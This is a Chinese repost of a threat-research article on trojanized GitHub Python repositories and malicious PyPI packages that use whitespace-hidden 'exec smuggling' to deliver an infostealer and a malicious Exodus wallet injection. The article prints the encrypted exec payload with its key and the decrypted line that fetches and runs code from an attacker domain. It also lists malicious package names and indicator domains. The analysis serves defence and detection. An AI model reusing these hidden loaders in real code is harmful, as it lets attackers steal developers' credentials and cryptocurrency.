暴露跨供应链和代码库的感染技术

2023年 10月 11日 136.2k 0

介绍

随着技术的发展和世界变得更加互联,威胁行为者针对受害者使用的技术也在不断变化。威胁行为者不断利用供应链和代码库中错综复杂的相互依赖关系,对组织、个人和社区构成重大风险。

近年来最令人担忧的趋势之一是供应链攻击(尤其是那些危害代码库的攻击)的兴起,成为网络安全领域的一个关键的全球问题。根据欧盟网络安全局(ENSA)发布的报告,39%至62%的组织受到第三方网络事件的影响,只有40%的受访组织表示他们了解第三方网络和隐私风险。更令人担忧的是,38% 的受访组织表示,他们无法知道第三方组件何时(或是否)出现网络问题。最近涉及供应链的备受瞩目的网络攻击包括Apache Log4j、SolarWinds Orion和3CX 的 3CXDesktopApp,所有这些都揭示了供应链攻击的代价有多大。

在现代软件开发中,开发人员依靠第三方组件来简化开发流程。这使得开发人员能够创建具有成本效益、高效且功能丰富的应用程序。然而,当这些可信组件之一受到损害时会发生什么?

攻击者可以通过针对组织供应链中安全性较低的元素(例如第三方供应商或软件存储库)来间接渗透系统。这种方法使他们能够破坏甚至受信任的组件,从而在更大、更安全的环境中获得立足点。恶意代码经常嵌入看似合法的软件存储库中。当开发人员集成这些组件并相信它们是真实的时,他们会在不知不觉中将漏洞和其他网络安全风险引入其核心系统。

本文深入研究了威胁行为者在看似合法的应用程序和代码库中植入恶意负载的复杂方法。我们使用最近的威胁追踪研究作为案例研究。我们还将展示组织和个人如何使用我们为供应商、开发人员和消费者精选的资源来保护自己免受供应链攻击。

技术分析

我们分析了威胁行为者克隆合法 GitHub 存储库(例如 Binance-trading-bot、crypto-clipper、telegram-mass-dm、usdt-sweeper、discord-boost-tool 以及其他用 Python 3 编写的其他存储库)然后木马化的案例研究并用恶意代码感染它们,策略性地用关键字填充它们的存储库描述部分,以最大限度地提高它们在 GitHub 搜索中的可见性。

通过此分析,我们可以深入了解威胁行为者感染第三方组件的感染过程和技术。以下部分将检查其中一个带有主动命令和控制 (C&C) 服务器的木马项目,以了解其内部工作原理。

通过执行走私网络请求进行感染

表 1. Discord-Boost-Tool 的存储库名称和存储库所有者

在我们的案例研究中,感染的第一阶段采用了一种我们称为执行走私的新技术。该技术将有效负载放置在一长串空白字符之后,将恶意内容从屏幕上推出。使用这种技术,可以通过恶意请求调用检索感染例程的下一阶段,≠使用 Python 内置方法exec()执行。在以下小节中,我们将根据案例研究概述 exec 走私技术中使用的步骤。

导入必要的依赖项

在导入requests和fernet之前,恶意软件会使用以下命令在 Python 中安装必要的依赖项(该命令会安装依赖项包):

os.system("pip install ").

图 1. 恶意软件安装并导入必要的依赖项

将恶意代码对象推离屏幕

威胁行为者添加一长串空白字符(在本例中为 521 个空格),将恶意代码推送到屏幕之外,从而隐藏代码对象以防止检查。

;exec(Fernet(b'n4URWLeTCi_xnoPjrWpQKiET9owwqIrjdTeawn_XK74=').decrypt(b'gAAAAABk0qRhQ5ElvkOXVd4S77j_7zec9wYp8mb6CJqMerEsGCL0SBINWk_qASYV2r3rHe7Tnh5KS-7TnmcbswLUqOuF0lACfVDsQDZi7OiHt1FAe8a9cfSi88bN2UiJ7rdaZ0QtzQc7Cc3WGx9ylJsOSAu-TizpXESIgAqmpEF7SNMDuXJMCj8TUpHDHINjyGHPrta7aY3E9E8JGsPFsgHPbjGesGiiwQ=='))

使用 exec() 执行恶意负载

最后,通过调用 Python 的exec 方法来执行代码对象。以下片段是解密后的恶意代码:

b"exec(requests.get('hxxps[://]bananasquad[.]ru/paste').text.replace('
','').replace('

','' ))"

此代码对象向攻击者的命令与控制 (C&C) 服务器发出包含恶意负载的 Web 请求,然后导致感染的第二阶段。

图 2. exec 走私后感染负载的第二阶段

第二阶段感染

根据我们的分析,感染的第二阶段重点是准备环境以加深感染以进一步利用。

准备环境

第二阶段涉及准备环境的滴管。最初,它会安装一系列 Python 包,例如 requests、httpx、pyperclip、pyotp、winregistry、psutil、pycryptodomex和asyncio等。然后,它会识别用户系统上安装的所有 Python 版本,并检查每个版本的站点包中是否存在 Cryptodome 目录。如果找到,它会将此目录复制为 Crypto,可能是为了确保与旧库的向后兼容性。随后,该脚本创建一个解密有效负载,将其写入用户的APPDATA中名为pl.py的文件中目录,并执行它而不显示窗口。

图 3. 第二阶段使用 Python 的 subprocess 模块进一步准备环境

感染第三阶段

环境准备好后,恶意软件将进入感染过程的第三阶段。

BlackCap-Grabber

第三阶段包含名为BlackCap-Grabber 的开源信息窃取项目的修改版本。它拥有以下功能:

  • 提取浏览器密码、cookie 和浏览历史记录
  • 检索系统信息
  • 从 Steam、MetaMask 和 Exodus 等应用程序和工具中窃取登录凭据
  • 绕过令牌保护器
  • 劫持 Windows 剪贴板以更改加密货币地址,用攻击者的钱包地址替换其内容(以及其他功能)

需要强调的是,最初的 BlackCap-Grabber 采用了双钩技术。使用这种技术,代码的作者还将收到攻击者(BlackCap-Grabber 用户)窃取的信息的副本,本质上是从窃取者那里窃取的。BlackCap-Grabber-NoDualHook 等项目从源代码中删除了植入的 DualHook。

执行后,恶意软件会将受感染系统的 ComputerName 发送到其 C&C 服务器。然后它会安装必要的 Python 包以确保恶意软件的功能。请注意,此代码不是原始 BlackCap-Grabber 的一部分,而是由威胁行为者添加的。

图 4. 恶意软件发送带有受害者计算机名称的 POST 请求并安装其他依赖项

下图展示了恶意软件生成的初始网络流量示例及其用于处理受害者信标的请求处理程序。

图 5. 受害者向 /downlodhandler 发出包含受害者用户名的 POST 请求

攻击者添加的另一个功能是 exodus-injection,原始 BlackCap-Grabber 源代码中不存在该功能。Exodus 注入允许威胁行为者使用感染技术从Exodus 加密钱包(一种在新加密货币用户中流行的加密货币钱包)窃取凭据和其他敏感信息。攻击者在其感染链中使用多个开源 Exodus-Injection 项目(https://github.com/loTus04/Exodus-Injection和https://github.com/dropout1337/exodus-injection)。

图 6. BlackCap-Grabber 配置

BlackCap-Grabber 的主要功能是劫持 Windows 剪贴板以更改加密货币地址,从受感染的系统中检索敏感信息,并将其保存到文件中以进行渗透。

图 7. BlackCap-Grabber 准备敏感信息,例如浏览器 cookie、加密货币地址和剪贴板信息

图 8. BlackCap-Grabber 使用 upload() 方法处理敏感信息数据以上传到攻击者的基础设施

图 9. BlackCap-Grabber 使用 LoadRequests 方法从受害者发送 POST 请求以提取数据

使用图 9 中的逻辑,攻击者向攻击者的基础设施发送包含泄露的密码、cookie 和加密货币地址的 POST 请求。

图 10. 攻击者通过 POST 请求将窃取的数据发送到 /handler 端点

在此示例中,恶意软件将包含浏览器 cookie 等项目的受感染系统中的恶意程序包渗透到攻击者控制的主机。威胁参与者使用 Web 请求处理程序来处理从受害者计算机中成功渗漏的软件包。

图 11. 通过 POST 请求将额外的密码示例发送到 /handler 端点

以上是我们发现的其他 POST 请求,其中包含攻击者从受感染受害者那里泄露到处理程序/handle 的敏感信息。

探索 Exodus 和 ElectronJS 组件

在我们的调查过程中,我们确定 Exodus 桌面钱包是使用 ElectronJS 框架构建的,该框架用于根据本地 Exodus 安装的资源目录中是否存在 app.asar 文件来捆绑和打包应用程序的资源。Asar 存档类似于.zip或.tar文件,但专为ElectronJS应用程序设计。

感染链第三阶段的主要组成部分涉及通过操纵底层 ElectronJS 应用程序在受感染用户的计算机上植入恶意 Exodus 桌面钱包应用程序。这使得威胁行为者能够窃取与 Exodus 钱包相关的凭证,从而导致其泄露,并最终导致受害者的加密货币和不可替代代币 (NFT) 被盗。

ElectronJS 和 Exodus 之间的关系在漏洞领域已有详细记录。早在 2018 年,Electron 就已开放基于 CVSS 8.8 远程代码执行漏洞的利用,该漏洞被识别为 CVE-2018-1000006。研究人员很快指出,威胁行为者可以通过滥用 Electron 协议处理程序来利用此漏洞逃离。

如前所述,ElectronJS 应用程序被打包为app.asar 存档,其中包含应用程序的源代码和各种应用程序资产。Asar 存档类似于.zip或.tar文件,但专为ElectronJS应用程序设计。

什么是出埃及记?

Exodus是一个数字资产平台,允许用户存储、管理和交换加密货币和  NFT。

Exodus 提供各种钱包,例如Web3钱包、移动钱包、桌面钱包、Trezor 硬件钱包,以及与加密货币应用程序的集成。

Exodus 桌面钱包应用程序

Exodus 桌面钱包是Exodus 的桌面应用程序。Exodus 桌面钱包支持所有主要操作系统,例如 Microsoft、MacOS 和 Linux,可通过用户友好的图形用户界面 (GUI) 存储和交易主要加密货币和 NFT。

通过 Web GUI 访问 Exodus 桌面钱包

Exodus 桌面钱包提供了一个直观的界面来访问加密货币钱包。解锁加密货币钱包需要密码,如 Exodus 桌面钱包应用程序 GUI 中所示。

当设置用于备份钱包的助记词时,Exodus 会让用户打印出助记词作为安全设备。

图12. 使用物理助记词密钥恢复Exodus钱包

当用户尝试恢复钱包时,Exodus 可能会要求他们参考助记键的打印副本,并根据提供的数字选择正确的单词。出于安全考虑,Exodus 被设计为使用密码和助记词组合的自助保管钱包。

探索 Exodus ElectronJS 应用程序的主要组件

Exodus 桌面钱包的app.asar文件可以提取到目标目录。探索这个目录,我们会看到应用程序的根目录——其中包括node_modules、src和应用程序的package.json。

图 13. Exodus 桌面钱包的 NodeJS 后端

图 14. 与 Exodus 桌面钱包相关的关键后端文件

Exodus ElectronJS 应用程序的主要组件包括src/app/main/index.js中包含的应用程序主逻辑、 src/app/wallet/index.js中包含的钱包组件以及src/中包含的表示逻辑app/static/,它将 NodeJS 后端文件源到应用程序的前端演示中。

感染 Exodus 桌面钱包的 ElectronJS 应用程序

通过使用注入技术,威胁行为者可以通过替换 Exodus 桌面钱包读取的app.asar存档,将 Exodus 桌面钱包的ElectronJS 应用程序替换为恶意 ElectronJS 应用程序。该应用程序是 Exodus 桌面钱包的全功能复制品,已被更改为向攻击者泄露钱包信息(包括密码和助记词信息)。

图 15.inject() 函数负责注入恶意 Exodus 桌面钱包

在图 15 所示的代码中,威胁参与者执行一系列检查以确定受感染的计算机是否安装了 Exodus 桌面钱包。

以下代码片段是 Exodus 应用程序在 Windows 安装中使用的 app.asar 文件的位置:

Exodus 钱包桌面 Windows app.asar 路径

%LOCALAPPDATA%exodusapp-xx.x.xxresourcesapp.asar

同时,以下代码片段是Exodus 应用程序在 Linux 安装中使用的app.asar文件的位置:

Exodus Wallet Desktop Linux app.asar Path

/usr/lib/exodus/resources/app.asar

如果发现 Exodus,恶意代码将继续:

  • 从攻击者控制的基础设施中下载并读取恶意修补的app.asar文件。
  • 终止现有的 Exodus 进程。
  • 将恶意app.asar写入Exodus 应用程序资源目录中的Exodus app.asar文件。
  • 计算机上未找到 Exodus 桌面钱包时的行为

    如果目标计算机上未找到 Exodus,恶意代码将继续将文件stromrechnung.py下载到MicrosoftWindowsStart MenuProgramsStartup。该文件将在系统启动时执行。

    图 16. 如果未找到 Exodus,将从另一个攻击者域下载并安装“miner.exe”

    图 17. Python 用于执行恶意批处理文件,其中包含“miner.exe”的下载和运行逻辑

    恶意文件stromrechnung.py是一个python文件,包含以下逻辑:

  • 创建 Windows 批处理文件的 Python 函数
  • 使用 Living of the Land Drivers ( LoLDrivers )编写逻辑来绕过 UAC
  • 编写 PowerShell 命令将加密货币挖矿程序 ( miner.exe ) 下载到受害者的计算机上
  • 运行 Python 函数,该函数使用subprocess.popen方法执行批处理文件。
  • 在 Exodus 桌面钱包的 ElectronJS 应用程序中注入代码

    根据我们的观察,有三个不同的文件被威胁行为者更改,这将在后续小节中概述。

    后端unlock()函数中的恶意注入(src/app/wallet/index.js)

    主要注入发生在src/wallet/index.js中,攻击者在解锁函数中注入恶意POST请求。POST请求包含钱包密码、助记词、钱包目录。

    图 18. 文件 src/app/wallet/index.js 被感染,向攻击者窃取密码、助记词和钱包信息

    打开允许的钱包域(4.9.1.2.src/app/main/index.js)

    此外,威胁行为者还修改主index.js文件以允许所有钱包域(即使是在干净的 Exodus 应用程序将钱包域限制为 Exodus 的位置)。

    图 19. 文件 src/app/main/index.js 修改域列表以允许所有钱包域

    4.9.1.3.src/static/wallet.html - 禁用内容安全策略(CSP)

    内容安全策略 (CSP)作为额外的安全层,旨在识别和抵制特定形式的攻击,例如跨站点脚本 (XSS) 和数据注入攻击。connect -src 指令限制可以使用脚本接口加载的 URL。

    图 20. 修改文件 src/app/main/index.js 以禁用应用程序的 CSP

    我们发现,威胁行为者有效地禁用了 CSP,以允许从所有 URL 到 Exodus wallet.js组件的数据连接。

    Discord-Boost-Tool GitHub 存储库

    在本节中,我们将探讨Discord-Boost-Tool的特性及其一些有趣的组件。

    探索不和谐增强工具的起源

    在我们的案例研究中受到损害的Discord -Boost-Tool源自2022 年底的原始Discord-boost-tool存储库。该工具允许用户使用 Nitro 机器人帐户增强其 Discord 服务器,但很快就被分叉并更改以感染GitHub 用户 PatrickPagoda 在不知情的情况下通过恶意 PyPi 包攻击用户,众所周知,该用户会反复将恶意 Python 包上传到 PyPi 注册表。值得一提的是,与 PatrickPagoda 相关的原始 GitHub 帐户在 7 月下旬至 8 月的某个时间被删除。根据我们所做的分析以及 PatrickPagoda 从 GitHub 中删除以来的时间范围,我们强烈怀疑我们分析的存储库与该已失效用户有关。

    图 21. PatrickPagoda 的 Discord-Boost-Tool

    图 22. PatrickPagoda 版本的 Discord-Boost-Tool 使用恶意 PyPi 包

    通过 GitHub 代码库破坏供应链的后果

    尽管 PatrickPagoda 的 GitHub 帐户已被停用,但源自 PatrickPagoda 存储库的初始分叉仍然存在,同时还包含有害的 PyPi 软件包。这种情况凸显了供应链妥协中的一种令人担忧的模式,其中恶意行为者可以通过合并有害的依赖项来污染工具。

    随后,他们将这些工具上传到 GitHub 等平台来分发。然后,社区继续分叉这些受损的存储库,这反过来又导致进一步的分叉,从而扩大了感染的范围。这涉及滥用代码共享,这凸显了组织采用全面的供应链风险管理 (SCRM) 计划的必要性。

    图 23. 使用 PatrickPagoda 的恶意存储库“installpylibsqlite”的示例存储库

    图 24. 使用 PatrickPagoda 恶意存储库“pipcryptliberyV2”的示例存储库

    通过 GitHub 社区扩散

    这些工具在 GitHub、Discord 和 Telegram 等平台上激增,许多用户只是手动共享工具。许多用户不知道这些工具的起源,这是令人担忧的,因为理想情况下,只有当用户可以确认他们正在交互的代码库的完整性时才应使用软件。

    图 25. 用户随机共享受感染的工具

    图 26. 用户共享来自未经验证来源的工具

    我们还发现,一些用户也在 Telegram 上出售该工具。

    图 27. 在 Telegram 上分享和销售工具

    此后,这种经过修改的工具在 GitHub 存储库中以不同的形式出现,并在 Telegram 和 Discord 等平台上传播。

    分析恶意 Discord-Boost-Tool 提交历史记录

    恶意 Discord-Boost-Tool 的首次提交于 2023 年 7 月 10 日进行,此后总共进行了 78 次提交。在第一次提交时,攻击者尝试在update.py中从 PyPi安装名为pipcoloringskitsV1的恶意包。此外,所有其他 Python 文件都因exec和requests.get的组合而受到损害。

    表 2. 威胁参与者的提交历史记录

    Exec 走私 GitHub 提交

    该威胁行为者使用 exec 走私技术来执行恶意负载的检索。

    图 28. Exec 走私提交到“utils/checker.py”

    图 29. Exec 走私提交到“utils/tokenf.py”

    恶意 PyPi GitHub 提交

    作者还拥有重要的提交历史,其中恶意 PyPi 软件包被用来感染和危害受害者。

    图 30. 使用恶意 PyPi 包“pipcoliringskitsV1”提交“update.py”

    pipcoloringskitsV1包仅包含一个名为__init__.py的文件,该文件与我们之前分析的最新版本第 2 阶段 Python dropper脚本相同。

    图 31.“pipcolorinskitsV1”包包含单个文件 (__init__.py)

    图 32. 恶意 PyPi 包包含单个文件 (__init__.py)

    根据我们对2023年7月10日至2023年8月7日的分析,攻击者传递恶意负载的技术涉及推送恶意PyPi包。

    图 33. 使用恶意 GitHub 提交替换恶意 PyPi 包

    从 2023 年 8 月 8 日开始,攻击者对update.py中的传递方法进行了更改。攻击者没有分发恶意 PyPi 包,而是开始直接下载并执行存储库中的后续阶段有效负载。checker.py和tokenf.py中也采用了类似的技术。然而,C&C 服务器详细信息是使用 Fernet 加密的。

    恶意 PyPi 包的历史

    该威胁参与者有着使用恶意 PyPi 软件包的重要历史,以下是作者在各种 GitHub 提交中推送的软件包列表:

    pipsqlitepkgsV2
    pipsqlexts
    pipcryptlibaryV1
    syssqlitelibV1
    syssqlite2kits
    syscryptographymoduleV1
    syscryptlibrary
    pipfontslibery
    pythonsqliextV2
    pythonsqlipackagesV1
    pipfontingpkg
    pyfontingpackagesV2
    pipcryptomodulesV1
    pythonsqlipackageV1
    pysqlitekitsV1
    pysqlitepkgV2
    pipcoloradditionV1
    pipsqlitedbmodsV1
    pythoncryptokitV2
    pythoncolouringpackageV1
    syscolouringspackageV1
    pysqlite2pkgsV2
    pysqlitedbextV1
    pythonsqlitedbextensionV2
    syssqllibaryV1
    syscolouringsaddV2
    pythonfontsliberyV1
    pipcryptographymodV1
    pythoncoloringpackage
    pythonfontingkitsV2
    syscolouringexts
    syscryptographyadd
    pyfontstools
    pythonsqliteext
    syscolouringpkgV2
    syscryptographyV1
    pythonsqlite3libaryV1
    pysqlilibery
    pipcolourpkgs
    pythoncolourmoduleV2
    pipsqliteexts
    pipsqlitedbkit
    pycolouringskitV1
    pipcolouringext
    pipcoloringsliberyV1
    pycolorpkgsV2
    pycoloringextensionV1
    pipfontinglibV2
    pythoncolouringsliberyV1
    pythonsqlitetoolkitV1
    pythoncolouringtoolkitsV2
    pythoncolourextension
    pythonsqlitedbpackagesV2
    pipsqlipackages
    pycryptographypackageV1
    pythonfontingadds
    pipsqlitekitV2
    syssqllib
    pipsqlite3mod
    pysqlite3extensionV2
    pipcryptkits
    pipsqladdV1
    pythonsqltoolkitV1
    pythoncryptextensions
    pipcoloringstools
    syssqlitedbmodules
    syscoloringsaddition
    sysfontstoolV1
    pysqlite3extV2
    pycolouringsextV1
    PipcoloringskitsV1
    Pyfontingtoolsv1
    Pitutil
    pythoncryptographypackage
    pycolorpackage
    pythoncolouringsmodsV2

    软件包和提交的数量凸显了该特定威胁参与者能够利用各种恶意软件包来感染受害者的敏捷性和灵活性。

    图 34. PyPi 存储库中提供的示例“pythoncolouringsmodsV2”

    Advertising exec 在德国犯罪市场走私受感染的工具

    在调查过程中,我们发现了使用 exec 走私技术的其他受感染工具。这些工具在德国犯罪论坛上进行了广告,广告由单个用户用德语编写。

    图 35. 德国犯罪论坛上的帖子

    在分析这些广告时,我们发现该用户在德国一个流行犯罪论坛的欺诈版块中做广告,作为利用加密货币机器人赚钱的一种方式,以“敲诈”俄罗斯用户的加密货币资产。利用这一点,该用户提出上诉那些对俄罗斯怀有同情心的德语人士,同时也利用欧洲与俄罗斯之间的紧张局势(自乌克兰战争爆发以来紧张局势不断升级)来吸引人们对受感染工具的兴趣。

    图 36. 5 月 27 日的论坛帖子示例

    图 37. 显示受感染工具的帖子示例

    该工具伪装成 Tether (USDT) 的清理工具,Tether 是领先的稳定币加密货币,其价值与美元挂钩,旨在欺骗毫无戒心的受害者。这些论坛上宣传的工具采用了 exec 走私技术,该技术对我们在前面部分中分析过的同一域执行恶意 GET 请求。

    图 38. Exec 走私受感染的 GET 请求

    防御供应链攻击

    持久安全框架 (ESF) 软件供应链工作小组是公共和私营部门之间的合作,提供了行业最佳实践和原则,供应商、开发人员和消费者可以参考这些最佳实践和原则来确保自身安全并防范供应链攻击。这些参考资料被划分为不同的职责,因为它们与供应链中涉及的所有各方相关,因为每一方在确保供应链安全方面都发挥着重要作用。强烈鼓励组织采用强大的供应链风险管理 (SCRM) 计划,以增强针对供应链威胁的运营安全性并最大限度地降低组织风险。

    对软件供应商(供应商)的建议

    本文档为供应商最佳实践提供了指导,强烈鼓励供应商参考和遵循。该文件提供了行业标准指南,以帮助供应商:

    • 充当开发商和消费者之间的联络人
    • 通过合同确保软件的完整性和安全性
    • 处理软件发布和更新
    • 负责漏洞的通知和缓解

    此外,为了降低供应链受损的风险,鼓励供应商开发全面的 SCRM 计划。该模板可以作为实施供应商特定 SCRM 计划的基准,从而增强供应链安全并促进供应商和消费者之间的信任。

    给开发者的建议

    本文档提供了有关行业最佳实践和原则的指导,强烈鼓励开发人员参考并遵循。该文件提供了行业标准指导,以帮助开发人员:

    • 规划安全要求
    • 设计安全软件
    • 实施安全功能
    • 维护软件及其底层基础设施的安全

    对组织的建议

    本文件提供了有关行业最佳实践和原则的指导,强烈鼓励消费者参考和允许。该文件提供了行业标准指南,以帮助消费者完成软件供应链的采购、部署和运营阶段。此外,中小型企业可以使用网络安全和基础设施安全局 (CISA) 的这本手册作为保护供应链的资源。

    进一步建议

    此外,我们还提供了一些进一步的常识性建议:

  • 在获得之前进行审查:在集成开源工具或库之前,请研究其声誉。查找评论、推荐和任何已知的安全问题。了解与使用第三方框架相关的风险。
  • 代码审查:始终审查您将要运行的代码,尤其是来自不受信任的来源的代码。留意可疑的函数调用及其序列,如exec ( requests.get (...)),以及使用subprocess.popen等方法创建进程。
  • 检查维护者:确保项目由信誉良好的个人或组织维护。知名且活跃的维护者不太可能让恶意代码溜走。
  • 网络监控:监控来自应用程序的传出网络请求。对未知域的意外请求可能是一个危险信号。
  • 使用信誉良好的安全解决方案:现代安全解决方案可以检测恶意行为并阻止恶意负载的下载或执行。
  • 限制执行:如果可能,请在无法完全访问系统或网络的环境中运行脚本。
  • 使用依赖项扫描器:Snyk 或 Guarddog 等工具可以自动扫描项目的依赖项以查找已知漏洞和潜在的恶意活动。
  • 限制权限:以所需的最低权限运行开源应用程序。这样,即使存在恶意代码,其潜在影响也是有限的。
  • 隔离环境:使用虚拟环境或容器来隔离开源应用程序,并在适用的情况下将组件与主系统隔离。这可以防止潜在的恶意活动影响您的主要环境。
  • 参与社区:加入与您正在使用的开源项目相关的论坛或邮件列表。活跃的社区经常讨论漏洞和最佳实践。
  • 定期备份:始终备份关键数据和配置。如果由于恶意组件而出现问题,您将能够将其恢复到安全状态。
  • 结论

    在这篇文章中,我们探索了一个案例研究,结合使用 exec 走私等技术,利用 GitHub 等平台和 PyPi 包等存储库来感染个人和组织。此外,我们还为个人、开发人员、供应商以及组织提供了资源,他们可以使用它们来增强针对供应链攻击的防御态势。

    供应链攻击的频率持续增加,2021 年第三方事件占入侵事件的 17%,而 2020 年这一比例还不到 1%。代码库仍然是威胁行为者的高价值目标,根据欧盟网络安全局 (ENISA) 的数据,代码库估计占供应链攻击的 66%。

    鉴于供应链攻击的隐蔽性、效力和风险,很明显,组织必须优先考虑全面的安全措施,包括对所有第三方组件的严格评估和对集成系统的持续监控。

    为了防范各种供应链威胁,我们推荐Trend Vision One™️,它使安全团队能够持续识别攻击面,包括已知、未知、托管和非托管网络资产。Trend Vision One™️考虑潜在攻击的可能性和影响等关键因素,自动确定风险(包括漏洞)的优先级以进行修复。Trend Vision One™️提供由人工智能、高级威胁研究和情报支持的全面预防、检测和响应功能。这可以缩短检测、响应和修复的平均时间,从而提高整体安全状况和有效性。

    当不确定入侵、行为和例程时,立即假设存在妥协或破坏,以隔离受影响的工件或工具链。凭借更广阔的视野和快速响应,组织可以解决这些问题并保护其余系统。组织应考虑采用尖端的 多层防御策略 和全面的安全解决方案,例如 趋势科技™ XDR  ,它可以检测、扫描和阻止现代威胁环境中的恶意内容。

    恶意感染技术

    这些攻击通常是多阶段的,第一阶段从下载开始,使用 Python 网络模块下载其他阶段。混淆 URL 的最常见技术是 base64 和字节序列。

    妥协指标

    Domains
    hxxps[://]bananasquad[.]ru/paste
    hxxps[://]stromrechnung[.]ru
    hxxps[://]kekwltd[.]ru
    hxxps[://]rentry[.]co/tvfwh/raw
    hxxps[://]paste[.]fo/raw/efda79f59c55
    hxxps[://]raw[.]githubusercontent[.]com/yusiqo/anonchat/main/lrdstl
    hxxps[://]www[.]xup[.]in/dl,20029171/USDT_SWEEPER[.]PY

    转载来源:https://www.trendmicro.com/en_us/research/23/j/infection-techniques-across-supply-chains-and-codebases.html

    图片来源网络侵权可联系删除

    相关文章

    Mallox勒索软件新Linux变种现世
    伪装成破解程序和商业工具的新型恶意软件正在传播
    Orcinius后门新样本分析
    Poseidon窃取程序通过Google广告感染Mac用户
    大选开始之际,欧盟各政党遭受 DDoS 攻击
    微软2024

    发布评论